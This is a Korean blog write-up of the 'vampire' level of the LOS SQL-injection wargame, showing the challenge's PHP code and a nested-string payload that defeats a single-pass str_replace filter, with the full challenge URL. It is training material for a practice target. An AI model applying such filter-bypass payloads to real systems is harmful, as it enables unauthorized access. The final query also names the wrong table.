[LOS] vampire 풀이

 

PHP & query 
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>
select id from prob_vampire where id=''

 

문제 풀이

더보기
solve 조건
if($result['id'] == 'admin') solve("vampire");

id값이 admin 이면 solve("vampire")를 반환한다.

 

특수문자 제약
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]); 

싱글쿼터(')를 필터링 하고 대문자 우회를 못 하게만들었다. admin을 ""으로 대체한다.

admin이 사라졌을때 admin으로 나오게만든다.

adminaadmindadminmadminiadminn 초록색 부분이 필터링되고 admin이 된다.

 

sqlInjection 쿼리
select id from prob_gremlin where id='adminaadmindadminmadminiadminn'

 

 

URL

los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adminaadmindadminmadminiadminn

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] golem 풀이 - 11번  (0) 2020.09.16
[LOS] skeleton 풀이 - 10번  (0) 2020.09.15
[LOS] troll 풀이 - 8번  (0) 2020.09.15
[LOS] orge 풀이 - 7번  (0) 2020.09.15
[LOS] darkelf 풀이 - 6번  (0) 2020.09.15

+ Recent posts